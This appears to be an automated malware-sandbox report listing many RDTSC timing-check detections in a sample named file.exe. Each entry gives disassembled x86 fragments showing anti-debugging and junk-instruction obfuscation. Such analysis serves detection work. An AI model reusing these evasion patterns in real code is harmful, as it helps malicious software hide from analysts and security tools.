Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6A59 second address: 9E6AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FFAA4EF80C8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D1FE8h], edi 0x0000002a push dword ptr fs:[00000000h] 0x00000031 push edi 0x00000032 jmp 00007FFAA4EF80CFh 0x00000037 pop ebx 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007FFAA4EF80C8h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 0000001Ah 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 mov ebx, dword ptr [ebp+122D20F0h] 0x0000005f pushad 0x00000060 mov ecx, edx 0x00000062 popad 0x00000063 mov eax, dword ptr [ebp+122D1245h] 0x00000069 xor bx, 9C3Ah 0x0000006e push FFFFFFFFh 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 jng 00007FFAA4EF80C6h 0x0000007a jg 00007FFAA4EF80C6h 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8A97 second address: 9E8AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FFAA4B0AF22h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 cld 0x00000011 mov dword ptr [ebp+122D198Dh], edi 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+12458467h], ebx 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6AF2 second address: 9E6AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E8AC9 second address: 9E8ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9ADF second address: 9E9AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9CCC second address: 9E9CEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FFAA4B0AF1Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jnc 00007FFAA4B0AF16h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECA42 second address: 9ECA48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE94E second address: 9EE954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE954 second address: 9EE958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EF8BB second address: 9EF8C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBAD9 second address: 9EBAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FFAA4EF80C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBAE3 second address: 9EBB04 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAA4B0AF16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FFAA4B0AF22h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBB04 second address: 9EBB0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBB0A second address: 9EBB0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ECCA5 second address: 9ECCC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFAA4EF80D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EBBC3 second address: 9EBBD5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jns 00007FFAA4B0AF16h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAA80 second address: 9EAA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FFAA4EF80CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F18C0 second address: 9F18C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F18C7 second address: 9F1900 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAA4EF80D4h 0x00000008 jmp 00007FFAA4EF80CEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FFAA4EF80DEh 0x00000018 jmp 00007FFAA4EF80D8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F1900 second address: 9F1916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFB32 second address: 9EFB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFB36 second address: 9EFB47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFB47 second address: 9EFB4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EFB4D second address: 9EFB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99850F second address: 998513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998513 second address: 998567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FFAA4B0AF16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FFAA4B0AF27h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FFAA4B0AF29h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007FFAA4B0AF20h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998567 second address: 99856B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA31B second address: 9FA321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA321 second address: 9FA32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA32A second address: 9FA32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC2DF second address: 9FC2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC2E3 second address: 9FC30B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFAA4B0AF1Ch 0x00000010 je 00007FFAA4B0AF16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC30B second address: 9FC311 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC311 second address: 9FC34A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAA4B0AF18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FFAA4B0AF1Bh 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007FFAA4B0AF26h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC34A second address: 9FC34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC34E second address: 9FC362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC362 second address: 9FC368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC368 second address: 9FC36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A012DA second address: A012FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FFAA4EF80C6h 0x0000000e jmp 00007FFAA4EF80D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A012FD second address: A01301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03E97 second address: A03EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FFAA4EF80C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04038 second address: A04068 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FFAA4B0AF16h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FFAA4B0AF29h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04068 second address: A0406C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08369 second address: A0839A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF26h 0x00000007 pushad 0x00000008 jmp 00007FFAA4B0AF22h 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A084F4 second address: A084FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A084FA second address: A084FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A084FE second address: A0850E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08664 second address: A08673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FFAA4B0AF16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08673 second address: A08677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08677 second address: A0867B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0867B second address: A08681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10945 second address: A10949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10C0D second address: A10C1F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAA4EF80C6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10C1F second address: A10C36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FFAA4B0AF16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10ED2 second address: A10ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11075 second address: A1108B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FFAA4B0AF16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1108B second address: A110B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FFAA4EF80CEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A110B3 second address: A110B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A110B9 second address: A110D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAA4EF80CFh 0x0000000d jne 00007FFAA4EF80C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1151C second address: A11528 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FFAA4B0AF16h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11528 second address: A11534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007FFAA4EF80C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A178FC second address: A17900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17900 second address: A1790C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16600 second address: A1663F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FFAA4B0AF26h 0x0000000a popad 0x0000000b jg 00007FFAA4B0AF38h 0x00000011 push ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ecx 0x00000017 push esi 0x00000018 jmp 00007FFAA4B0AF24h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16A9A second address: A16AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16D71 second address: A16D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16D75 second address: A16D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16F30 second address: A16F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16F34 second address: A16F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17232 second address: A17249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF23h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A173BA second address: A173C0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9934CD second address: 9934D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1606E second address: A16074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16074 second address: A16078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16078 second address: A1607E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2041B second address: A20421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20421 second address: A2042D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D67FD second address: 9C097B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFAA4B0AF27h 0x0000000e nop 0x0000000f mov ecx, dword ptr [ebp+122D36B3h] 0x00000015 lea eax, dword ptr [ebp+1248457Dh] 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007FFAA4B0AF18h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 jmp 00007FFAA4B0AF28h 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007FFAA4B0AF28h 0x00000041 pushad 0x00000042 jmp 00007FFAA4B0AF1Ch 0x00000047 jmp 00007FFAA4B0AF1Dh 0x0000004c popad 0x0000004d popad 0x0000004e mov dword ptr [esp], eax 0x00000051 clc 0x00000052 call dword ptr [ebp+122D19DCh] 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b jmp 00007FFAA4B0AF26h 0x00000060 pop eax 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6A7F second address: 9D6AAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAA4EF80D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6AAB second address: 9D6AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6F62 second address: 9D6FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007FFAA4EF80CAh 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 xchg eax, esi 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FFAA4EF80C8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov di, 2F42h 0x00000031 pushad 0x00000032 mov dword ptr [ebp+122D261Ch], edx 0x00000038 call 00007FFAA4EF80D3h 0x0000003d sub dword ptr [ebp+122D2596h], esi 0x00000043 pop ebx 0x00000044 popad 0x00000045 nop 0x00000046 jp 00007FFAA4EF80D7h 0x0000004c jmp 00007FFAA4EF80D1h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jno 00007FFAA4EF80C8h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D770B second address: 9D773E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dx, si 0x0000000f push 0000001Eh 0x00000011 mov ecx, dword ptr [ebp+122D20F0h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FFAA4B0AF1Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D782C second address: 9D784B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7AC7 second address: 9D7ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7ACB second address: 9D7B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FFAA4EF80C8h 0x0000000c popad 0x0000000d nop 0x0000000e add ecx, 73F2E24Dh 0x00000014 lea eax, dword ptr [ebp+124845C1h] 0x0000001a call 00007FFAA4EF80D3h 0x0000001f adc edx, 25D1EAA4h 0x00000025 pop edi 0x00000026 nop 0x00000027 push edx 0x00000028 push ebx 0x00000029 jng 00007FFAA4EF80C6h 0x0000002f pop ebx 0x00000030 pop edx 0x00000031 push eax 0x00000032 jnl 00007FFAA4EF80CEh 0x00000038 nop 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FFAA4EF80C8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov di, B139h 0x00000057 sub dword ptr [ebp+122D27E1h], ebx 0x0000005d lea eax, dword ptr [ebp+1248457Dh] 0x00000063 jmp 00007FFAA4EF80D8h 0x00000068 nop 0x00000069 js 00007FFAA4EF80CEh 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
